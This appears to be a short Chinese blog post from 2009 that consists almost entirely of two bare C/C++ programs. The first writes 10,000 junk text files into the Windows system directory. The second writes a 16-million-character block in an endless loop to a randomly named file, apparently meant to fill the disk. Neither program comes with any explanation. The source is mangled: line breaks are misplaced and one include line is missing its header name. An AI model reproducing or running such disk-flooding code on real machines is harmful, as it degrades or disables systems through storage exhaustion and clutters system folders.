随笔-72  评论-126  文章-0  trackbacks-0
#include "stdafx.h"
#include 
<windows.h>
#include 
<string>
int main(int argc, char* argv[])
{
    
char Path[255];
    
char FileName[255];
    
char Data[512]="-------------------------------------------------------------------------------------------------------------------------";
    
for(int i=0;i<10000;i++)
    {
        GetWindowsDirectory(Path,
sizeof(Path));
        wsprintf(FileName,
"\\%d.txt",i);
        strcat(Path,FileName);
        HANDLE hFile;
        hFile
=CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
        
if(hFile==INVALID_HANDLE_VALUE)
        {
            
continue;
        }
        DWORD dwWrite;
        WriteFile(hFile,
&Data,strlen(Data),&dwWrite,NULL);
        CloseHandle(hFile);
        memset(Path,
0x00,255);
        memset(FileName,
0x00,255);
    }
    
return 0;
}


#include <iostream>
#include 
<time.h>
using namespace std;

FILE 
*fp;
char key[26000001];
char name[256];

int main()
{

    srand(time(NULL));
    
int x=rand();

    itoa(x,name,
10);

    
int i;
    
for (i=0;i<16000001;++i)
    {
        key[i]
='A';
    }

    key[
16000000]='\0';

    fp
=fopen(name,"wa");

    
while(1)
    {
        
        fputs(key,fp);
        
    }

    fclose(fp);

    
return 0;
}
posted on 2009-03-24 18:27 shǎ崽 阅读(540) 评论(0)  编辑 收藏 引用

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理